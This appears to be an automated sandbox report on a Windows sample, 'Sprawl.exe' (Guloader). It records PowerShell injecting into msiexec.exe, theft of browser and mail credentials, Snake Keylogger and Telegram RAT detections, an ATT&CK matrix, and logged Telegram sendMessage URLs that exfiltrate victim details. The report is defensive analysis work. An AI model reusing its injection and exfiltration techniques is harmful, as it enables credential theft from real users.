Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process created / APC Queued / Resumed: C:\Windows\SysWOW64\msiexec.exe			Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process created / APC Queued / Resumed: C:\Windows\SysWOW64\msiexec.exe

Queues an APC in another process (thread injection)

Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe

Thread APC queued: target process: C:\Windows\SysWOW64\msiexec.exe

Jump to behavior

Writes to foreign memory regions

Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Memory written: C:\Windows\SysWOW64\msiexec.exe base: 3C60000			Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Memory written: C:\Windows\SysWOW64\msiexec.exe base: 44C0000

Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process created: C:\Windows\SysWOW64\msiexec.exe "C:\Windows\SysWOW64\msiexec.exe"			Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process created: C:\Windows\SysWOW64\msiexec.exe "C:\Windows\SysWOW64\msiexec.exe"

Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_32\System.Data\v4.0_4.0.0.0__b77a5c561934e089\System.Data.dll VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_32\System.Transactions\v4.0_4.0.0.0__b77a5c561934e089\System.Transactions.dll VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\ VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\Microsoft.PowerShell.Commands.Management\v4.0_3.0.0.0__31bf3856ad364e35\Microsoft.PowerShell.Commands.Management.dll VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\System.ServiceProcess\v4.0_4.0.0.0__b03f5f7f11d50a3a\System.ServiceProcess.dll VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\System.Windows.Forms\v4.0_4.0.0.0__b77a5c561934e089\System.Windows.Forms.dll VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-GroupPolicy-ClientTools-WOW64-Package~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-AppManagement-AppV-WOW64-Package~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_32\Microsoft.Management.Infrastructure.Native\v4.0_1.0.0.0__31bf3856ad364e35\Microsoft.Management.Infrastructure.Native.dll VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\Modules\AppvClient\Microsoft.AppV.AppVClientPowerShell.dll VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_32\Microsoft.AppV.AppvClientComConsumer\v4.0_10.0.0.0__31bf3856ad364e35\Microsoft.AppV.AppvClientComConsumer.dll VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-SecureStartup-Subsystem-WOW64-Package~31bf3856ad364e35~amd64~~10.0.19041.1865.cat VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-SecureStartup-Subsystem-WOW64-Package~31bf3856ad364e35~amd64~en-GB~10.0.19041.1.cat VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\Modules\BitLocker\Microsoft.BitLocker.Structures.dll VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\Microsoft.Management.Infrastructure.CimCmdlets\v4.0_1.0.0.0__31bf3856ad364e35\Microsoft.Management.Infrastructure.CimCmdlets.dll VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\Microsoft.Management.Infrastructure\v4.0_1.0.0.0__31bf3856ad364e35\Microsoft.Management.Infrastructure.dll VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_32\System.Data\v4.0_4.0.0.0__b77a5c561934e089\System.Data.dll VolumeInformation
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_32\System.Transactions\v4.0_4.0.0.0__b77a5c561934e089\System.Transactions.dll VolumeInformation
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\ VolumeInformation
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\Microsoft.PowerShell.Commands.Management\v4.0_3.0.0.0__31bf3856ad364e35\Microsoft.PowerShell.Commands.Management.dll VolumeInformation
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\System.ServiceProcess\v4.0_4.0.0.0__b03f5f7f11d50a3a\System.ServiceProcess.dll VolumeInformation
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\System.Windows.Forms\v4.0_4.0.0.0__b77a5c561934e089\System.Windows.Forms.dll VolumeInformation
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-GroupPolicy-ClientTools-WOW64-Package~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-AppManagement-AppV-WOW64-Package~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_32\Microsoft.Management.Infrastructure.Native\v4.0_1.0.0.0__31bf3856ad364e35\Microsoft.Management.Infrastructure.Native.dll VolumeInformation
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\Modules\AppvClient\Microsoft.AppV.AppVClientPowerShell.dll VolumeInformation
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_32\Microsoft.AppV.AppvClientComConsumer\v4.0_10.0.0.0__31bf3856ad364e35\Microsoft.AppV.AppvClientComConsumer.dll VolumeInformation
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-SecureStartup-Subsystem-WOW64-Package~31bf3856ad364e35~amd64~~10.0.19041.1865.cat VolumeInformation
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-SecureStartup-Subsystem-WOW64-Package~31bf3856ad364e35~amd64~en-GB~10.0.19041.1.cat VolumeInformation
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\Modules\BitLocker\Microsoft.BitLocker.Structures.dll VolumeInformation
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\Microsoft.Management.Infrastructure.CimCmdlets\v4.0_1.0.0.0__31bf3856ad364e35\Microsoft.Management.Infrastructure.CimCmdlets.dll VolumeInformation
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\Microsoft.Management.Infrastructure\v4.0_1.0.0.0__31bf3856ad364e35\Microsoft.Management.Infrastructure.dll VolumeInformation
Source: C:\Windows\SysWOW64\msiexec.exe	Queries volume information: C:\Windows\SysWOW64\msiexec.exe VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\msiexec.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\System.Windows.Forms\v4.0_4.0.0.0__b77a5c561934e089\System.Windows.Forms.dll VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\msiexec.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\Microsoft.VisualBasic\v4.0_10.0.0.0__b03f5f7f11d50a3a\Microsoft.VisualBasic.dll VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\msiexec.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\System.Web.Extensions\v4.0_4.0.0.0__31bf3856ad364e35\System.Web.Extensions.dll VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\msiexec.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\System.Security\v4.0_4.0.0.0__b03f5f7f11d50a3a\System.Security.dll VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\msiexec.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_32\System.Web\v4.0_4.0.0.0__b03f5f7f11d50a3a\System.Web.dll VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\msiexec.exe	Queries volume information: C:\Windows\SysWOW64\msiexec.exe VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\msiexec.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\System.Windows.Forms\v4.0_4.0.0.0__b77a5c561934e089\System.Windows.Forms.dll VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\msiexec.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\Microsoft.VisualBasic\v4.0_10.0.0.0__b03f5f7f11d50a3a\Microsoft.VisualBasic.dll VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\msiexec.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\System.Web.Extensions\v4.0_4.0.0.0__31bf3856ad364e35\System.Web.Extensions.dll VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\msiexec.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\System.Security\v4.0_4.0.0.0__b03f5f7f11d50a3a\System.Security.dll VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\msiexec.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_32\System.Web\v4.0_4.0.0.0__b03f5f7f11d50a3a\System.Web.dll VolumeInformation	Jump to behavior

Source: C:\Users\user\Desktop\Sprawl.exe

Code function: 0_2_00405D51 GetVersion,GetSystemDirectoryA,GetWindowsDirectoryA,SHGetSpecialFolderLocation,SHGetPathFromIDListA,CoTaskMemFree,lstrcatA,lstrlenA,

0_2_00405D51

Stealing of Sensitive Information

Yara detected Snake Keylogger

Source: Yara match	File source: 00000008.00000002.3378029055.0000000021DF1000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000009.00000002.3378186894.0000000022911000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY

Yara detected Telegram RAT

Source: Yara match	File source: Process Memory Space: msiexec.exe PID: 4460, type: MEMORYSTR
Source: Yara match	File source: Process Memory Space: msiexec.exe PID: 3212, type: MEMORYSTR

Tries to harvest and steal browser information (history, passwords, etc)

Source: C:\Windows\SysWOW64\msiexec.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Top Sites	Jump to behavior
Source: C:\Windows\SysWOW64\msiexec.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Network\Cookies	Jump to behavior
Source: C:\Windows\SysWOW64\msiexec.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Login Data	Jump to behavior
Source: C:\Windows\SysWOW64\msiexec.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Web Data	Jump to behavior
Source: C:\Windows\SysWOW64\msiexec.exe	File opened: C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Login Data	Jump to behavior
Source: C:\Windows\SysWOW64\msiexec.exe	File opened: C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Network\Cookies	Jump to behavior
Source: C:\Windows\SysWOW64\msiexec.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\History	Jump to behavior
Source: C:\Windows\SysWOW64\msiexec.exe	File opened: C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\History	Jump to behavior

Tries to steal Mail credentials (via file / registry access)

Source: C:\Windows\SysWOW64\msiexec.exe	File opened: C:\Users\user\AppData\Roaming\PostboxApp\Profiles\			Jump to behavior
Source: C:\Windows\SysWOW64\msiexec.exe	File opened: C:\Users\user\AppData\Roaming\PostboxApp\Profiles\			Jump to behavior

Source: Yara match	File source: Process Memory Space: msiexec.exe PID: 4460, type: MEMORYSTR
Source: Yara match	File source: Process Memory Space: msiexec.exe PID: 3212, type: MEMORYSTR

Remote Access Functionality

Yara detected Snake Keylogger

Source: Yara match	File source: 00000008.00000002.3378029055.0000000021DF1000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000009.00000002.3378186894.0000000022911000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY

Yara detected Telegram RAT

Source: Yara match	File source: Process Memory Space: msiexec.exe PID: 4460, type: MEMORYSTR
Source: Yara match	File source: Process Memory Space: msiexec.exe PID: 3212, type: MEMORYSTR

Mitre Att&ck Matrix

Reconnaissance	Resource Development	Initial Access	Execution	Persistence	Privilege Escalation	Defense Evasion	Credential Access	Discovery	Lateral Movement	Collection	Command and Control	Exfiltration	Impact
Gather Victim Identity Information	Acquire Infrastructure	Valid Accounts	1 Windows Management Instrumentation	1 DLL Side-Loading	1 DLL Side-Loading	2 Obfuscated Files or Information	1 OS Credential Dumping	2 File and Directory Discovery	Remote Services	1 Archive Collected Data	1 Web Service	Exfiltration Over Other Network Medium	1 System Shutdown/Reboot
Credentials	Domains	Default Accounts	2 PowerShell	Boot or Logon Initialization Scripts	1 Access Token Manipulation	1 Software Packing	LSASS Memory	15 System Information Discovery	Remote Desktop Protocol	1 Data from Local System	3 Ingress Tool Transfer	Exfiltration Over Bluetooth	Network Denial of Service
Email Addresses	DNS Server	Domain Accounts	At	Logon Script (Windows)	311 Process Injection	1 DLL Side-Loading	Security Account Manager	111 Security Software Discovery	SMB/Windows Admin Shares	1 Email Collection	11 Encrypted Channel	Automated Exfiltration	Data Encrypted for Impact
Employee Names	Virtual Private Server	Local Accounts	Cron	Login Hook	Login Hook	1 Masquerading	NTDS	1 Process Discovery	Distributed Component Object Model	1 Clipboard Data	1 Non-Standard Port	Traffic Duplication	Data Destruction
Gather Victim Network Information	Server	Cloud Accounts	Launchd	Network Logon Script	Network Logon Script	21 Virtualization/Sandbox Evasion	LSA Secrets	21 Virtualization/Sandbox Evasion	SSH	Keylogging	3 Non-Application Layer Protocol	Scheduled Transfer	Data Encrypted for Impact
Domain Properties	Botnet	Replication Through Removable Media	Scheduled Task	RC Scripts	RC Scripts	1 Access Token Manipulation	Cached Domain Credentials	1 Application Window Discovery	VNC	GUI Input Capture	24 Application Layer Protocol	Data Transfer Size Limits	Service Stop
DNS	Web Services	External Remote Services	Systemd Timers	Startup Items	Startup Items	311 Process Injection	DCSync	1 System Network Configuration Discovery	Windows Remote Management	Web Portal Capture	Commonly Used Port	Exfiltration Over C2 Channel	Inhibit System Recovery

Behavior Graph

Hide Legend

Legend:

Process
Signature
Created File
DNS/IP Info
Is Dropped
Is Windows Process
Number of created Registry Values
Number of created Files
Visual Basic
Delphi
Java
.Net C# or VB.NET
C, C++ or other language
Is malicious
Internet

Source	Detection	Scanner	Label	Link
Sprawl.exe	42%	ReversingLabs	Win32.Trojan.Guloader

Dropped Files

Source	Detection	Scanner	Label	Link
C:\Users\user\AppData\Roaming\underarmsmusklens\Edriophthalmian\Agog\Smriti\Sprawl.exe	42%	ReversingLabs	Win32.Trojan.Guloader

Source	Detection	Scanner	Label
https://duckduckgo.com/chrome_newtab	0%	URL Reputation	safe
https://duckduckgo.com/ac/?q=	0%	URL Reputation	safe
http://crl.microsoft	0%	URL Reputation	safe
https://contoso.com/License	0%	URL Reputation	safe
https://ch.search.yahoo.com/sugg/chrome?output=fxjson&appid=crmas&command=	0%	URL Reputation	safe
http://checkip.dyndns.org/	0%	URL Reputation	safe
https://aka.ms/pscore6lB	0%	URL Reputation	safe
https://ch.search.yahoo.com/favicon.icohttps://ch.search.yahoo.com/search	0%	URL Reputation	safe
https://contoso.com/	0%	URL Reputation	safe
https://nuget.org/nuget.exe	0%	URL Reputation	safe
https://apis.google.com	0%	URL Reputation	safe
http://schemas.xmlsoap.org/ws/2005/05/identity/claims/name	0%	URL Reputation	safe
https://reallyfreegeoip.org/xml/	0%	URL Reputation	safe
http://nuget.org/NuGet.exe	0%	URL Reputation	safe
http://pesterbdd.com/images/Pester.png	0%	URL Reputation	safe
https://contoso.com/Icon	0%	URL Reputation	safe
https://duckduckgo.com/favicon.icohttps://duckduckgo.com/?q=	0%	URL Reputation	safe
http://checkip.dyndns.org	0%	URL Reputation	safe
http://nsis.sf.net/NSIS_ErrorError	0%	URL Reputation	safe
https://www.ecosia.org/newtab/	0%	URL Reputation	safe
https://ac.ecosia.org/autocomplete?q=	0%	URL Reputation	safe
http://nsis.sf.net/NSIS_Error	0%	URL Reputation	safe
https://reallyfreegeoip.org	0%	URL Reputation	safe
https://cdn.ecosia.org/assets/images/ico/favicon.icohttps://www.ecosia.org/search?q=	0%	URL Reputation	safe

Domains and IPs

Contacted Domains

Name	IP	Active	Malicious	Reputation
drive.google.com	142.250.184.238	true	false	unknown
drive.usercontent.google.com	142.250.185.65	true	false	unknown
reallyfreegeoip.org	188.114.97.3	true	true	unknown
smtp.ionos.es	213.165.67.102	true	true	unknown
api.telegram.org	149.154.167.220	true	true	unknown
checkip.dyndns.com	193.122.6.168	true	false	unknown
checkip.dyndns.org	unknown	unknown	true	unknown

Contacted URLs

Name	Malicious	Antivirus Detection	Reputation
https://api.telegram.org/bot/sendMessage?chat_id=&text=%20%0D%0A%0D%0APC%20Name:760639%0D%0ADate%20and%20Time:%2023/10/2024%20/%2001:23:39%0D%0ACountry%20Name:%20United%20States%0D%0A%5B%20760639%20Clicked%20on%20the%20File%20If%20you%20see%20nothing%20this's%20mean%20the%20system%20storage's%20empty.%20%5D	false		unknown
https://reallyfreegeoip.org/xml/173.254.250.76	false		unknown
http://checkip.dyndns.org/	false	URL Reputation: safe	unknown
https://api.telegram.org/bot/sendMessage?chat_id=&text=%20%0D%0A%0D%0APC%20Name:760639%0D%0ADate%20and%20Time:%2023/10/2024%20/%2001:23:59%0D%0ACountry%20Name:%20United%20States%0D%0A%5B%20760639%20Clicked%20on%20the%20File%20If%20you%20see%20nothing%20this's%20mean%20the%20system%20storage's%20empty.%20%5D	false		unknown

URLs from Memory and Binaries

Name	Source	Malicious	Antivirus Detection	Reputation
https://reallyfreegeoip.org/xml/173.254.250.76$	msiexec.exe, 00000008.00000002.3378029055.0000000021EAC000.00000004.00000800.00020000.00000000.sdmp, msiexec.exe, 00000008.00000002.3378029055.0000000021ED5000.00000004.00000800.00020000.00000000.sdmp, msiexec.exe, 00000008.00000002.3378029055.0000000021E67000.00000004.00000800.00020000.00000000.sdmp, msiexec.exe, 00000009.00000002.3378186894.00000000229F5000.00000004.00000800.00020000.00000000.sdmp, msiexec.exe, 00000009.00000002.3378186894.00000000229CC000.00000004.00000800.00020000.00000000.sdmp, msiexec.exe, 00000009.00000002.3378186894.0000000022987000.00000004.00000800.00020000.00000000.sdmp	false		unknown
https://duckduckgo.com/chrome_newtab	msiexec.exe, 00000008.00000002.3382228709.00000000230F8000.00000004.00000800.00020000.00000000.sdmp, msiexec.exe, 00000008.00000002.3382228709.0000000022E11000.00000004.00000800.00020000.00000000.sdmp, msiexec.exe, 00000009.00000002.3382107427.0000000023931000.00000004.00000800.00020000.00000000.sdmp, msiexec.exe, 00000009.00000002.3382107427.0000000023C18000.00000004.00000800.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
https://duckduckgo.com/ac/?q=	msiexec.exe, 00000008.00000002.3382228709.00000000230F8000.00000004.00000800.00020000.00000000.sdmp, msiexec.exe, 00000008.00000002.3382228709.0000000022E11000.00000004.00000800.00020000.00000000.sdmp, msiexec.exe, 00000009.00000002.3382107427.0000000023931000.00000004.00000800.00020000.00000000.sdmp, msiexec.exe, 00000009.00000002.3382107427.0000000023C18000.00000004.00000800.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
https://api.telegram.org	msiexec.exe, 00000008.00000002.3378029055.0000000021ED5000.00000004.00000800.00020000.00000000.sdmp, msiexec.exe, 00000009.00000002.3378186894.00000000229F5000.00000004.00000800.00020000.00000000.sdmp	false		unknown
https://api.telegram.org/bot	msiexec.exe, 00000008.00000002.3378029055.0000000021ED5000.00000004.00000800.00020000.00000000.sdmp, msiexec.exe, 00000009.00000002.3378186894.00000000229F5000.00000004.00000800.00020000.00000000.sdmp	false		unknown
http://crl.microsoft	powershell.exe, 00000004.00000002.2786466269.00000000078E5000.00000004.00000020.00020000.00000000.sdmp, powershell.exe, 00000004.00000002.2786466269.000000000792C000.00000004.00000020.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
https://contoso.com/License	powershell.exe, 00000004.00000002.2766047897.00000000063D8000.00000004.00000800.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
https://www.office.com/lB	msiexec.exe, 00000008.00000002.3378029055.0000000021FB1000.00000004.00000800.00020000.00000000.sdmp, msiexec.exe, 00000009.00000002.3378186894.0000000022AD2000.00000004.00000800.00020000.00000000.sdmp	false		unknown
https://ch.search.yahoo.com/sugg/chrome?output=fxjson&appid=crmas&command=	msiexec.exe, 00000008.00000002.3382228709.00000000230F8000.00000004.00000800.00020000.00000000.sdmp, msiexec.exe, 00000008.00000002.3382228709.0000000022E11000.00000004.00000800.00020000.00000000.sdmp, msiexec.exe, 00000009.00000002.3382107427.0000000023931000.00000004.00000800.00020000.00000000.sdmp, msiexec.exe, 00000009.00000002.3382107427.0000000023C18000.00000004.00000800.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
http://smtp.ionos.es	msiexec.exe, 00000008.00000002.3378029055.0000000021FF1000.00000004.00000800.00020000.00000000.sdmp, msiexec.exe, 00000009.00000002.3378186894.0000000022B12000.00000004.00000800.00020000.00000000.sdmp	false		unknown
